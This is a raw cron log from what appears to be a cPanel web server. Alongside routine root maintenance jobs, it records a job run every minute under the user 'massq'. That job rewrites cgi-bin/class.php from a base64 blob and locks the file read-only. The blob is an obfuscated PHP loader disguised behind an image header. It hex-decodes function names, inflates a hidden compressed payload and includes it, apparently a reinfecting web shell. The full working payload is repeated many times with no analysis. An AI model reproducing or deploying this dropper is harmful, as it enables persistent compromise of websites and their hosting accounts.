Nov 15 12:26:01 server CROND[22535]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:27:01 server CROND[22813]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:27:01 server CROND[22814]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 12:28:01 server CROND[23094]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:29:01 server CROND[23457]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:30:01 server CROND[23736]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov 15 12:30:01 server CROND[23737]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 12:30:01 server CROND[23739]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 12:30:01 server CROND[23738]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 12:30:01 server CROND[23743]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:31:01 server CROND[24068]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:32:01 server CROND[24358]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:33:01 server CROND[24633]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:34:01 server CROND[24999]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:35:01 server CROND[25272]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 12:35:01 server CROND[25274]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 12:35:01 server CROND[25276]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 12:35:01 server CROND[25285]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 15 12:35:01 server CROND[25284]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:36:01 server CROND[25621]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:37:01 server CROND[25891]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 12:38:01 server CROND[26171]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
